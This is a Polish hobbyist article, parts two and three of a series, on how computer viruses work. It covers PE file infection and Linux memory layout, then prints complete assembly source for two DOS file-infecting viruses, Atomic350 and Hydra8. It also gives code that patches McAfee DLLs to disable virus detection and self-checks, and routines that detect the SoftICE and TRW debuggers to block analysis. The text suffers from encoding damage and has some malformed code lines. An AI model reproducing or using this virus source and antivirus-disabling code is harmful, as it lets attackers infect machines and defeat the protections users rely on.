// Jak obieca³em, ¿e bêdzie druga czê¶æ artyku³u, to oto i ona 
----------
W ostatnim artykule, przypomnieli¶my sobie, co to jest keylogger, trojan, wirus, rootkit, itd.
W tej czê¶ci artyku³u napisze o wirusach w Linux'ie, logach z HijackThis'a, budowy plików PE, a zreszt±, sami zobaczycie.
----------
Pierwsza rzecz, jaka rozpocznie ten artyku³, bêd± to wirusy w Linux'ie.
----------
W Systemach takich jak Win95/NT pamiêæ operacyjna zosta³a zaprojektowana z ograniczonym dostêpem do segmentów. W tych systemach systemach, z u¿yciem selektorów, j±dro ma mo¿liwo¶æ obs³ugi ca³ej przestrzeni wirtualnej, czyli od 0x00000000 do 0xFFFFFFFF. Jakkolwiek w Linux-ie sprawa wygl±da inaczej, mamy w nim dwie strefy odró¿nione ze wzglêdu na znaczenie segmentacji. Strefa przeznaczona na procesy u¿ytkownika zawiera siê w adresach 0x00000000 – 0xC0000000 a druga strefa, przeznaczona na j±dro systemu zawiera siê w adresach takich jak : 0xC0000000 – 0xFFFFFFFF
----------
Przyjrzyjmy siê stanowi rejestrów (debugger zwany gdb). Na pocz±tku wywo³ania komendy takiej jak gzip.
Kod:
(gdb)info registers
eax 0x0 0
ecx 0x1 1
edx 0x0 0
ebx 0x0 0
ebp 0xbffffd8c 0xbffffd8c
esi 0xbffffd9c 0xbffffd9c
edi 0x4000623c 1073766972
eip 0x8048b10 0x8048b10
eflags 0x296 662
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
Z tego co wy¿ej poda³em, mo¿na odczytaæ, ¿e Linux, u¿ywa selektora 0x23 dla segmentu kodu oraz 0x2b dla segmentu danych.
----------
Je¶li przyjrzymy siê kodowi j±dra mieszcz±cemu siê w pliku
/usr/src/linux/arch/i386/kernel/head.S, mo¿emy odtworzyæ warto¶ci rejestrów w czasie ³adowania Linux'a.
Kod:
88
/*
* This gdt setup gives the kernel a 1GB address space at virtual
* address 0xC0000000 - space enough for expansion, I hope.
*/
ENTRY(gdt)
.quad 0x0000000000000000 /* NULL descriptor */
.quad 0x0000000000000000 /* not used */
.quad 0xc0c39a000000ffff /* 0x10 kernel 1GB code at 0xC0000000 */
.quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */
.quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */
.quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */
.quad 0x0000000000000000 /* not used */
.quad 0x0000000000000000 /* not used */
.fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */
#ifdef CONFIG_APM
.quad 0x00c09a0000000000 /* APM CS code */
.quad 0x00809a0000000000 /* APM CS 16 code (16 bit) */
.quad 0x00c0920000000000 /* APM DS data */
#endif
Z tego wszystkiego, wynika, ¿e Linux, inicializuje 4 segmenty - 2 dla j±dra, oraz 2 dla potrzeb u¿ytkownika.
----------
Rezydentny wirus w ring0 otrzymuje maskymalne przywileje procesora, ponad to w ring0 jest mo¿liwe przechwycenie wywo³añ do systemu przez wszystkie procesy systemu. W celu otrzymania przywilejów ring0 wirus mo¿e spróbowaæ zmian w IDT dla globalnego TrapGate. W celu modyfikacji GDT lub te¿ LDT do wywo³ania Call Gate lub te¿ nawet zapatchowania kodu, który jest wywo³ywany w ring0.
----------
Budowa plików PE
----------
Specyfikacja formatu PE pochodzi z systemu UNIX i jest znana jako COFF (Common Object File Format). System Windows powsta³ na korzeniach VAX, VMS oraz UNIX; wielu jego twórców wcze¶niej pracowa³o nad rozwojem tych systemów, zatem logiczne wydaje siê zaimplementowanie niektórych w³a¶ciwo¶ci tej specyfikacji.
Znaczenie PE (Portable Executable) mówi, ¿e jest to przeno¶ny plik wykonywalny, co w praktyce oznacza uniwersalno¶æ miêdzy platformami x86, MIPS, Alpha.
----------
Pliki PE, sk³adaj± siê z kilku czê¶ci :
- Nag³ówek DOS-MZ
- Odcinek DOS
- Nag³ówek PE
- Tablica sekcji
- Sekcja 1
- Sekcja ...
- Sekcja n
----------
Infekcja plików PE
----------
Jako jeden z pierwszych sposobów infekcji plików PE zaproponowa³ Jack Qwerty, nestor nale¿±cy do znanej grupy 29A, autor pierwszych wirusów infekuj±cych PE: Win32.Jacky oraz Win32.Cabanas. Po nich pokaza³y siê kolejne dwa: Esperanto oraz Win32.Marburg – stworzone przez zespó³ 29A.
Najbardziej popularn± metod± infekcji plików PE jest sposób, który polega na doklejaniu siê kodu wirusa do ostatniej sekcji, zwiêkszeniu jej rozmiaru i ustawieniu pocz±tku wykonywania programu na adresie odpowiadaj±cym pierwszej instrukcji doklejonego kodu.
----------
Za³ó¿my, ¿e w rejestrze EDX mamy wska¼nik do pocz±tku otwartego/zmapowanego w pamiêci pliku, np. przez API MapViewOfFile(). Pierwsz± czynno¶ci± jak± powinna wykonaæ nasza procedura infekuj±ca w wirusie jest sprawdzenie czy atakowany obiekt jest plikiem PE. Mo¿na to wykonaæ szukaj±c nag³ówka PE poprzez pole znajduj±ce siê na offsecie 03Ch w pierwszym nag³ówku DOS-MZ.
Ma³y przyk³ad :
Kod:
push******edx
cmp****** word ptr ds:[edx], “ZM”
jnz****** koniec_infekcji
mov****** edx, dword ptr ds:[edx+3Ch]
cmp****** cmp word ptr ds:[edx], “EP”
jnz****** koniec_infekcji
Gdy ju¿ wiemy, ¿e mamy do czynienia, z w³a¶ciwym plikiem, musimy nastêpnie zlokalizowaæ ostatni± sekcjê. Przyk³ad w jêzyku C (nie napisane przeze mnie)
Kod:
#include <windows.h>
#include <windowsx.h>
#include <winbase.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <winnt.h>
int get_num_sections ( LPVOID );
LPVOID get_first_section ( LPVOID );
void main (void) {
char *filename;
char c;
HANDLE hFile;
HANDLE hMap;
LPVOID lpFile;
int num_sections;
int s;
int space;
LPVOID *section_header;
LPVOID *look_at;
DWORD value1;
DWORD value2;
DWORD free_here;
filename = (LPSTR) GetCommandLine();
printf ( "nGetSpace wyszukuje wolne miejsce w plikach PEn" );
printf ( "GetSpace napisane przez GriYo / 29Ann" );
do {
c = *filename;
filename++;
}
while ( ( c != 0 ) && ( c != ' ' ) );
if ( c != 0 ) c = *filename;
if ( c == 0 ) {
printf ( "U¿ycie: GETSPACE nazwa pliku nn" );
exit (-1);
}
printf ( "Szukam wolnego miejsca w %snn",filename);
hFile=CreateFile (filename,GENERIC_READ,0,NULL OPEN_EXISTING,
FILE_ATTRIBUTE_READONLY, 0);
if ( hFile==INVALID_HANDLE_VALUE ) {
printf ( "Nie mo¿na odnale¼æ pliku nn" );
exit (-1);
26
27
}
hMap = CreateFileMapping ( hFile, NULL, PAGE_READONLY, 0, 0, NULL );
if (hMap==NULL) {
CloseHandle(hFile);
printf ( "Error podczas mapowania pliku do pamiêci nn" );
exit (-1);
}
lpFile = MapViewOfFile (hMap, FILE_MAP_READ, 0, 0, 0 );
if (lpFile==NULL) {
CloseHandle(hMap);
CloseHandle(hFile);
printf ( "Error podczas mapowania pliku do pamiêci nn" );
exit (-1);
}
num_sections = get_num_sections ( lpFile );
if ( num_sections == 0 ) {
printf ( "Plik nie jest Portable Executable nn" );
}
else {
section_header = get_first_section ( lpFile );
printf ( "Liczba sekcji: %dnn",num_sections );
space = 0;
for ( s = 0; s < num_sections; s++ ) {
look_at=section_header;
printf ( "Sekcja %d (%s)n",s,look_at );
look_at += 2;
value1 = (DWORD) *look_at;
printf ( "-Virtual size: %x (%d)n", value1, value1 );
look_at += 2;
value2 = (DWORD) *look_at;
printf ( "-Wielko¶æ SizeOfRawData: %x (%d)n", value2, value2 );
if ( value1 > value2 )
printf ( "Brak wolnego miejsca w sekcji nn" );
else {
free_here = value2 - value1;
printf ( "-Wolny obszar: %x (%d)nn", free_here, free_here );
space += free_here;
}
section_header+=10;
}
printf ( "Ca³kowita ilo¶æ wolnego miejsca w pliku: %x (%d)", space, space );
}
UnmapViewOfFile(lpFile);
CloseHandle(hMap);
CloseHandle(hFile);
}
int get_num_sections ( LPVOID lpFile ) {
int num_sections;
__asm {
mov ebx,dword ptr [lpFile]
xor ecx,ecx
cld
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne exit_error
cmp word ptr [ebx+IMAGE_DOS_HEADER.e_lfarlc],0040h
jb exit_error
mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.e_lfanew]
add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne exit_error
movzx ecx,word ptr [esi+IMAGE_FILE_HEADER.NumberOfSections]
exit_error: mov dword ptr [num_sections],ecx
}
return ( num_sections );
28
}
LPVOID get_first_section ( LPVOID lpFile ) {
LPVOID first_section;
__asm {
mov ebx,dword ptr [lpFile]
cld
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne exit_error;
cmp word ptr [ebx+IMAGE_DOS_HEADER.e_lfarlc],0040h
jb exit_error;
mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.e_lfanew]
add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne exit_error
movzx ecx,word ptr [esi+IMAGE_FILE_HEADER.NumberOfSections]
jecxz exit_error
movzx eax,word ptr [esi+IMAGE_FILE_HEADER.SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,esi
jmp got_it
exit_error: xor eax,eax
got_it: mov dword ptr [first_section],eax
}
return ( first_section );
}
----------
Jak wirusy, chroni± siê przed dissassemblerami??? (dodatkowe informacje)
----------
Po infekcji wirusa w pliku wykonywalnym punkt wej¶cia do programu zmieniany jest na pocz±tek kodu wirusa, by po uruchomieniu programu przez u¿ytkownika jego kod zosta³ uruchomiony. Z tego te¿ wzglêdu kod wirusa jest „na widoku” i mo¿e zostaæ prosto wykryty. Jednak¿e wykrycie wirusa w systemie nie stanowi jego deaktywacji. Potrzebna jest, ku temu, analiza kodu wirusa i napisanie dla niego antywirusa. By uchroniæ siê przed analiz± stosuje siê ochronê przeciw disassemblerom, programom, które zamieniaj± kod maszynowy na assemblera, zrozumia³ego dla cz³owieka. W tym celu stosuje siê algorytmy, kryptuj±ce kod wirusa.
----------
Co zrobiæ, gdy antywirus, nie wykrywa trojana, który siedzi u kogo¶ na komputerze?
----------
Gdy twój antywirus, nie potrafi wykryæ jakiego¶ wirusa, zawsze pozostaj± programy, które zapisuj± logi na dysk, potem starczy je tylko sprawdziæ. Do tego typu programów, miêdzy innymi nale¿± :
- HijackThis (sprawdzanie logu)
- Gmer
- ComboFix
- SilentRunner
----------
Kody ¼ród³owe wirusów
----------
Poni¿ej, zamieszczê, kilka kodów ¼ród³owych ró¿nych wirusów.
----------
Pierwszy wirus :
- Nazwa : Atomic350
- Stworzony : 08.09.2007
Kod ¼ród³owy :
Kod:
****************.model tiny
****************.code
****************org**** 100h
start:
****************db******0e9h, 02, 00
****************db******'ML'
startvirus:****************
****************call****get_relative
get_relative:
****************pop**** bp
****************sub**** bp,offset get_relative
****************
****************lea**** si,[bp+restore_bytes]
****************mov**** di,100h
****************push****di
****************movsw
****************movsw
****************movsb
****************mov**** ah,4Eh
****************lea**** dx,[bp+filemask]
****************int**** 21h
******************************
****************jc******quit_virus
****************
****************call****try_infect
loc_2:
****************mov**** ah,4Fh
****************int**** 21h
****************
****************jc******quit_virus
****************call****try_infect
****************jmp**** quit_virus
****************nop
****************mov**** ah,09
****************lea**** dx, [bp+message]
****************int**** 21h
****************int**** 20h
quit_virus:****************
****************mov**** bp, 100h
****************jmp**** bp**********************.
try_infect:
****************mov**** ax,3D02h
****************mov**** dx,9eh
****************int**** 21h
****************
****************xchg****bx,ax
****************
****************mov**** ax,4200h
****************xor**** cx,cx
****************xor**** dx,dx
****************int**** 21h
****************
****************mov**** ah,3Fh
****************mov**** cx,5
****************lea**** dx,[bp+restore_bytes]
****************int**** 21h
************************************************
****************cmp**** word ptr cs:[bp+restore_bytes+3],'LM'
****************je******loc_2
****************mov**** ax,5700h
****************int**** 21h
****************
****************push****cx
****************push****dx
****************mov**** ax,4202h
****************xor**** cx,cx
****************xor**** dx,dx
****************int**** 21h
****************
****************push****bx
****************sub**** ax,3
****************lea**** bx,[bp+jmpdata]
****************mov**** [bx],ax
****************pop**** bx
****************mov**** ah,40h
****************mov**** cx,(endvirus-startvirus)
****************lea**** dx,[bp+startvirus]
****************int**** 21h
****************
****************mov**** ax,4200h
****************xor**** cx,cx
****************xor**** dx,dx
****************int**** 21h
****************
****************mov**** ah,40h
****************mov**** cx,1
****************lea**** dx,[bp+jump]
****************int**** 21h
****************
****************mov**** ax,4200h
****************xor**** cx,cx
****************mov**** dx,1
****************int**** 21h
****************
****************mov**** ah,40h
****************mov**** cx,4
****************lea**** dx,[bp+jmpdata]********
****************int**** 21h
****************
****************mov**** ax,4200h
****************xor**** cx,cx
****************xor**** dx,dx
****************int**** 21h
****************
****************mov**** ax,5701h
****************pop**** dx
****************pop**** cx
****************int**** 21h
****************
****************mov**** ah,3Eh
****************int**** 21h
****************
****************ret
filemask********db******'*.COM', 0************
db******'[TAD2A] Created by Memory Lapse of Ontario, Canada', 0Dh, 0Ah, '$'
**
db******'[TAD2A] The Atomic Dustbin 2A - Just Shake Your Rump!', 0Dh, 0Ah,'$'
message******** db******'Fail on INT 24 .. NOT!!', 0Dh, 0Ah,'$'
jump************db******0E9h
jmpdata******** dw******0
****************
****************db******'ML'
****************
****************db******00h, 00h
restore_bytes:
****************int 20h
****************nop
****************nop
****************nop
endvirus:
****************end**** start
----------
Kolejny wirus :
- Nazwa : Hydra8
- Stworzony : Brak
Kod ¼ród³owy :
Kod:
psp_cmd_size****equ**** 80h
data_17e********equ**** 1EFh
data_18e********equ**** 1F2h
data_19e********equ**** 9D9Ah
seg_a********** segment byte public
****************assume**cs:seg_a, ds:seg_a
****************org**** 100h
hydra8**********proc****far
start:
****************jmp**** loc_3
****************db****** 59h, 44h, 00h, 00h
data_3**********db******'HyDra-8** Beta - Not For Release'
****************db******'. *.CO?'
****************db******0
data_6**********dw******0, 8B39h
data_8**********dw******0
data_9**********db******0
****************db******18 dup (0)
data_10******** db******0
****************db******10 dup (0)
data_11******** db******0
****************db******0, 0, 0, 0, 0, 0
data_12******** db******0
****************db******0, 0, 0, 0, 0, 0
copyright****** db******'Copyright (c)'
****************db******'**1991 by C.A.V.E.**'
data_13******** db******2Ah
****************db****** 2Eh, 45h, 58h, 45h, 00h
data_14******** db******33h
****************db******0C9h, 1Eh, 52h,0E8h, 06h, 00h
****************db******0E8h, 13h, 00h,0EBh, 36h, 90h
****************db******0BEh, 48h, 01h
****************db******0BFh, 5Ah, 01h,0B9h, 12h, 00h
locloop_1:
****************xor**** byte ptr [si],0F5h
****************movsb
****************loop****locloop_1
****************retn
****************db******0B8h, 00h, 0Fh,0CDh, 10h,0B4h
****************db****** 00h,0CDh, 10h,0B8h, 00h, 02h
****************db******0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h
****************db****** 33h,0D2h
****************db******0BAh, 5Ah, 01h,0B4h, 09h,0CDh
****************db****** 21h,0B8h, 00h, 02h,0B6h, 18h
****************db******0B2h, 00h,0CDh, 10h,0C3h
****************db******0B8h, 00h, 4Ch,0CDh, 21h, 00h
****************db******0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h
****************db******0F5h
****************db******0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h
****************db****** 94h, 99h, 81h,0CAh,0D1h
loc_3:
****************push****ax
****************mov**** ax,cs
****************add**** ax,1000h
****************xor**** di,di
****************mov**** cx,1EFh
****************mov**** si,100h
****************mov**** es,ax
****************rep**** movsb
****************mov**** ah,1Ah
****************mov**** dx,offset data_9
****************int**** 21h
****************mov**** ah,4Eh
****************mov**** dx,offset data_3+22h
****************int**** 21h
****************jc******loc_7
loc_4:
****************mov**** ah,3Dh
****************mov**** al,2
****************mov**** dx,offset data_11
****************int**** 21h
****************mov**** bx,ax
****************push****es
****************pop**** ds
****************mov**** ax,3F00h
****************mov**** cx,0FFFFh
****************mov**** dx,data_17e
****************int**** 21h
****************add**** ax,1EFh
****************mov**** cs:data_8,ax
****************cmp**** word ptr ds:data_18e,4459h
****************jne**** loc_5
****************mov**** ah,3Eh
****************int**** 21h
****************push****cs
****************pop**** ds
****************mov**** ah,4Fh
****************int**** 21h
****************jc******loc_8
****************jmp**** short loc_4
loc_5:
****************xor**** cx,cx
****************mov**** dx,cx
****************mov**** ax,4200h
****************int**** 21h
****************jc******loc_6
****************mov**** ah,40h
****************xor**** dx,dx
****************mov**** cx,cs:data_8
****************int**** 21h
loc_6:
****************mov**** ah,3Eh
****************int**** 21h
****************push****cs
****************pop**** ds
loc_7:
****************mov**** ah,1Ah
****************mov**** dx,psp_cmd_size
****************int**** 21h
****************jmp**** short loc_11
****************db******90h
loc_8:
****************clc
****************xor**** cx,cx
****************push****ds
****************push****dx
****************mov**** ah,1Ah
****************mov**** dx,offset data_9
****************int**** 21h
****************mov**** dx,offset data_13
****************mov**** ah,4Eh
****************xor**** cx,cx
****************int**** 21h
****************jc******loc_7
loc_9:
****************mov**** ah,3Ch
****************xor**** cx,cx
****************mov**** dx,offset data_11
****************int**** 21h
****************mov**** bx,ax
****************jc******loc_7
****************mov**** ax,3D02h
****************mov**** dx,offset data_11
****************int**** 21h
****************mov**** bx,ax
****************clc
****************xor**** dx,dx
****************mov**** ah,40h
****************mov**** dx,offset data_14
****************mov**** cx,5Ah
****************int**** 21h
****************cmp**** ax,5Ah
****************jb******loc_10
****************mov**** ah,3Eh
****************int**** 21h
****************jc******loc_10
****************mov**** ah,4Fh
****************int**** 21h
****************jnc**** loc_9
loc_10:
****************mov**** ax,4C00h
****************int**** 21h
loc_11:
****************xor**** di,di
****************mov**** si,offset data_15
****************mov**** cx,22h
****************rep**** movsb
****************pop**** bx
****************mov**** cs:data_6,0
****************mov**** word ptr cs:data_6+2,es
****************pop**** bx
****************jmp**** dword ptr cs:data_6
data_15******** db******1Eh
****************db****** 07h,0B9h,0FFh,0FFh,0BEh,0EFh
****************db****** 02h,0BFh, 00h, 01h, 2Bh,0CEh
****************db******0F3h,0A4h, 2Eh,0C7h, 06h, 00h
****************db****** 01h, 00h, 01h, 2Eh, 8Ch, 1Eh
****************db****** 02h, 01h, 8Bh,0C3h, 2Eh,0FFh
****************db****** 2Eh, 00h, 01h,0CDh
****************db******20h
hydra8**********endp
seg_a********** ends
****************end**** start
----------
// Niektóre informacje, by³y czerpanie z :
http://www.wikipedia.pl/
----------
Mo¿na siê spodziewaæ czê¶ci trzeciej artyku³u, jak na razie, nie mia³em ju¿ o czym napisaæ.
----------
Jakby kto¶ chcia³ zacz±æ siê uczyæ Assemblera, to polecam ksi±¿kê :
- Assembler Sztuka Programowania PL
Link :
- http://rapidshare.com/files/46492064/Asemb...owania.rar.html
----------
Mam nadziejê, ¿e ta czê¶æ artyku³u siê komu¶ przyda³a
----------
UWAGA! Trzecia czê¶æ artyku³u jest poni¿ej
// jak obieca³em to i jest 3 czê¶æ tego artyku³u
----------
W ostatnich dwóch czê¶ciach artyku³u, przypomnieli¶my sobie, co to s± szkodliwe aplikacje (keylogger, trojan, wirus, itd.). Dowiedzieli¶my siê równie¿, jak siê przed nimi broniæ oraz jak dzia³aj±. W tej czê¶ci artyku³u, dok³adniej dowiemy siê, jakie zabezpieczenia u¿ywaj± wirusy, by siê broniæ przed antywirusami.
----------
Zabezpieczenia wirusów
----------
Jednym z wa¿niejszych, jak nie najwa¿niejszych, czê¶ci wirusa jest jego poziom zabezpieczeñ przed antywirusami, debuggerami, disassemblerami. Dochodz± równie¿, do tego, zabezpieczenia przed generacj± wyj±tku w systemie operacyjnym, który mo¿e zostaæ spowodowany, przyk³adowo, dostêpem do chronionej, przez system, pamiêci.
Wirus dzia³aj±cy na systemach operacyjnych windows 98, 95, ME wykorzystuj±cy nieudokumentowane funkcje systemu operacyjnego oraz jego dziury w celu przej¶æ na poziom ring0 nie bêdzie poprawnie dzia³a³ na systemach operacyjnych Windows NT, 2000 oraz XP. Wynika z tego, i¿ wirus jest zobligowany do detekcji systemu operacyjnego.
Lecz, wirus mo¿e to zrobiæ, za pomoc± funkcji systemowej GetVersionEx.
Je¶li kto¶ chce, to przyk³ad wykorzystania funkcji GetVersionEx :
Kod:
OSVerInfo OSVERSIONINFO <>
mov OSVerInfo.dwOSVersionInfoSize,sizeof OSVerInfo
invoke GetVersionEx,offset OSVerInfo
cmp OSVerInfo.dwPlatformId,VER_PLATFORM_WIN32_NT
jz @windowsNT
cmp OSVerInfo.dwPlatformId,VER_PLATFORM_WIN32_WINDOWS
jz @windows9x
Jednak¿e wykonanie jej przez kod wirusa z zara¿onego pliku jest procesem skomplikowanym, gdy¿ wymaga wpisu w tablicy importów pliku PE (Portable Executable), by loader(na polski jêzyk "wczytywacz") procesu zwróci³ punkt wej¶cia do niej.
Dlatego, mo¿na zastosowaæ równie¿ inne rozwi±zanie. A mianowicie mo¿na u¿yæ mechanizmu SEH (Structured Exception Handling).
Koncepcja jest taka, ¿e aplikacja instaluje jedn± lub wiêcej procedur callback nazwanych „exception handler-ami” nastêpnie w przypadku, gdy wyst±pi wyj±tek, system, wywo³uj±c exception handlera, pozwala aplikacji obs³u¿yæ owy wyj±tek.
Istniej± dwa typy "exception handler-ów" :
- „final” exception handler - instaluje siê go poprzez wywo³anie funkcji
SetUnhandledExceptionFilter.
- „per-thread” exception handler - ten typ obs³ugi wyj±tku stosowany jest do nadzorowania
wybranych obszarów kodu.
Dla ka¿dego w±tku w systemie rejestr FS ma inn± warto¶æ. Warto¶æ w rejestrze FS jest 16-bitowym selektorem, który wskazuje na blok informacji w±tku (Thread Information Block), struktura ta zawiera wa¿ne informacje o ka¿dym w±tku w systemie.
----------
Dobra, na razie tyle nudnego czytania. To przyk³ad mechanizmu SEH, przy u¿yciu per-thread exception handler'a :
Kod:
push offset obsluga_wyjatku;Pierwszy DWORD
push fs:[0];Drugi DWORD
77
mov fs:[0],esp;Zainstaluj obs³ugê ERR
[...];Kod wirusa
pop fs:[0];Przywróæ poprzedni stan
add esp,4h
ret
obsluga_wyjatku:
[...];Wykrycie wyj±tku
mov eax,0
ret
W przypadku, gdy kod wirusa spowoduje wyj±tek, system operacyjny wywo³a procedurê obsluga_wyjatku. Dziêki temu wirus bêdzie wiedzia³ i¿ na bie¿±cym systemie operacyjnym nie bêdzie on dzia³a³ poprawnie oraz bêdzie móg³ zakoñczyæ swoje dzia³anie.
----------
Ochrona przed antywirusami
----------
Ochrona przeciw programom antywirusowym jest kluczow± spraw± w wirusach, gdy¿ od tego zale¿y ich byt w systemie operacyjnym. Jak siê przed nimi chroniæ ? – sposobem mo¿e byæ wy³±czenie procedur sprawdzania plików bezpo¶rednio w kodzie antywirusa. Dziêki temu, nawet je¶li antywirus radzi³by sobie z wirusem, nie bêdzie w stanie zareagowaæ w przypadku rozprzestrzeniania siê wirusa w systemie. Tê metodê zaprezentowa³ nam pewien cz³owiek, o nicku "Z0MB1E". Dzia³a ona na zasadzie takiej, i¿ przeszukuje dysk twardy w poszukiwaniu plików wykonywalnych antywirusów, nastêpnie otwiera je i zmienia ich kod (patc***e) na sta³e. Dziêki temu antywirus po ponownym odpaleniu siê, z uwagi na wy³±czone procedury sprawdzaj±ce, nie bêdzie sprawia³ wiêcej ju¿ problemów. Z0MB1E zaprezentowa³ t± metodê na przyk³adzie AVP oraz MACAFE – wiod±cych programach antywirusowych.
Przyk³ady :
Kod:
; MACAFE -- disable virus-detection
; mcscan32.dll
; B801000000 mov eax, 1 --> B8 00 ... mov eax, 0
; EB02 jmp xxxxxxxx
; 31C0 xor eax, eax
; [8987C002]0000 mov [edi+0000002C0], eax
__patch5: cmp dword ptr [esi-4], 0C03102EBh
jne __continue
cmp dword ptr [esi-8], 1
jne __continue
mov byte ptr [esi-8], 0
inc ebx
jmp __continue
Kod:
; MACAFE -- disable self-check
; mcutil32.dll
; 83 C4 10 add esp, 10h
; 3B 45 F3 cmp eax, [ebp+csum]
; 74 07 je xxxxxxxx
;[C7 45 FC 01]00 00 00 mov [ebp+res], 1
__patch6: cmp dword ptr [esi-4], 0774F345h
jne __continue
cmp dword ptr [esi-8], 3B10C483h
jne __continue
cmp dword ptr [esi+3], 1
jne __continue
mov byte ptr [esi+3], 0
inc ebx
jmp __continue
Po wykonaniu tych procedur zmiany s± uaktualniane w plikach wykonywalnych. I przy nastêpnym uruchomieniu systemu operacyjnego antywirusy stan± siê nieaktywne.
----------
Antydebugging
----------
A tak naprawdê przeciw ludziom u¿ywaj±cych debuggerów w celu analizy i reversingu kodu wirusa. Jest to nastêpna z metod ochrony wirusa przeciw antywirusami, gdy¿, dopóki nie jest mo¿liwa analiza kodu wirusa, nie zostanie dla niego napisany antywirus. Ochrona ta, jak wszystkie, jest do przej¶cia i dzia³a na takiej zasadzie, ¿e w przypadku, gdy wirus wykryje debuggera w pamiêci operacyjnej, uruchamia procedury niszcz±ce system operacyjny. Dziêki temu uniemo¿liwia analizê jego kodu. Debugger jest zobligowany do przejêcia przerwañ 1 i 3. Przerwania, te s± wywo³ywane przez procesor w sytuacji, w której wyst±pi wyj±tek debug lub te¿ breakpoint. W szczególno¶ci :
- przerwanie nr. 1 - wywo³ywane przez procesor, gdy wyst±pi wyj±tek typu debug
- przerwanie nr. 3 – breakpoint (pu³apka)
Procedury obs³ugi tych przerwañ debugger instaluje w tablicy IDT (Interrupt Descriptor Table). Jedn± z metod wykrycia debuggera, jest badanie ró¿nicy pomiêdzy punktami wej¶æ do procedur obs³ugi przerwañ 1 oraz 3, która w czystym systemie, bez debuggera, wynosi 10h.
Przyk³ad :
Kod:
push eax
sidt [esp-2]
pop eax
add eax,8; EAX = adres wektora int 1h
mov ebx, [eax]; BX = m³odsze 16 bitów adresu
add eax, 16; EAX = adres wektora int 3h
mov eax, [eax]; AX = m³odsze 16 bitów adresu
sub al, bl; Oblicz ró¿nicê adresów
sub al,10h
jnz debugger_aktywny
Oraz nastêpn± procedur± wykrywaj±c± debuggera jest : ring0
Kod:
push 0000004fh; funkcja 4fh
int 20h
dd 002a002ah**; VWIN32_Int41Dispatch
cmp ax, 0f386h; znacznik instalacji
jz debugger_aktywny
Jest to wywo³anie funkcji 4Fh przerwania 41h – sprawdzenie instalacji debuggera w systemie. W momencie startu systemu, Windows 9x wywo³uje funkcjê tego przerwania sprawdzaj±c czy ma siê uruchomiæ w trybie debuggingu czy te¿ nie. Gdy Windows 9x uruchomi siê w trybie debuggingu, wywo³uje to przerwanie w celach informacyjnych dla potrzeb debuggera. Przekazuje mu to jakie modu³y s± ³adowane do pamiêci oraz jakie s± deinstalowane. Jednym z debuggerów systemowych Windows-a 9x jest SoftICE.
Przyk³ad wykrywania debuggera SoftICE :
Kod:
ring0:
push 41h; numer przerwania
pop eax
db 0CDh,20h; Get_PM_Int_Vector
dw 0044h,0001h; zwraca adres procedury obs³uguj±cej przerwanie
cmp edx,8; je¶li offset = 8 to znaczy ze
je SoftICE_aktywny
jest_sice db 0
Kod:
80
ring0:
db 0CDh,20h; Get_Cur_VM_Handle
dw 0001h,0001h
mov edx, 400h
call_sice:
db 0CDh,20h; Disable_Local_Trapping
dw 009Ah,0001h
mov esi,dword ptr [call_sice+2]
; offset DWORDa wskazuj±cego na adres
; Disable_Local_Trapping
mov esi,[esi]; adres Disable_Local_Trapping
cmp word ptr [esi],015FFh; czy pierwsze bajty procki to do widzenia
; instruckji call dword[..]?
jne niee_sice; je¶li nie pomiñ
cmp word ptr [esi+6],05751h
jne niee_sice
inc jest_sicE
niee_sice:
Nastêpnym z debuggerów pozwalaj±cych na ¶ledzenie kodu ring-0 jest TRW. Równie¿ dziêki niemu mo¿na zanalizowaæ kod wirusa, z tego te¿ wzglêdu zamieszczam, i na jego wykrycie, procedurê anty :
Kod:
jest_trw db 0
ring0:
db 0CDh,20h; Get_Cur_VM_Handle
dw 0001h,0001h
push ebx
mov eax,000Eh; VM_RESUME
call_trw:
db 0CDh,20h; System_Control
dw 0093h,0001h; po wykonaniu VxDCall-a bajty 0CDh,20h
; i numer us³ugi zamieniaj± siê na
; tzw. direct call-a czyli
; call dword ptr[vadres]
; (0FFh,15h,DWORD vadres)
mov esi,dword ptr [call_trw+2]
mov esi,[esi]; vadres System_Control
cmp byte ptr [esi],0E8h; sprawd¼ pierwsze bajty procki czy
; to opcode
jne niee_trw; relatywnego call'a(0E8h,DWORD)
cmp word ptr [esi+5],025FFh; bajty absolutnego JMP'a
; (FF,25h,DWORD vadres)
jne niee_trw
inc jest_trw
niee_trw:
----------
Antidisassembling
----------
Po infekcji wirusa w pliku wykonywalnym punkt wej¶cia do programu zmieniany jest na pocz±tek kodu wirusa, by po uruchomieniu programu przez u¿ytkownika jego kod zosta³ uruchomiony. Z tego te¿ wzglêdu kod wirusa jest „na widoku” i mo¿e zostaæ prosto wykryty. Jednak¿e wykrycie wirusa w systemie nie stanowi o jego deaktywacji. Potrzebna jest, ku temu, analiza kodu wirusa i napisanie dla niego antywirusa. By uchroniæ siê przed analiz± stosuje siê ochronê przeciw disassemblerom, programom, które zamieniaj± kod maszynowy na assemblera, zrozumia³ego dla cz³owieka. W tym celu stosuje siê algorytmy, kryptuj±ce kod wirusa (pisa³em o tym w drugiej czê¶ci artyku³u).
Dziêki ich u¿yciu wirus w pliku zainfekowanym ma strukturê nastêpuj±c± :
Kod:
Punkt_startu_programu:
Algorytm dekryptuj±cy
Jmp dalej
dalej:
W³a¶ciwy kod wirusa (zakryptowany)
Jmp programu_zainfekowanego
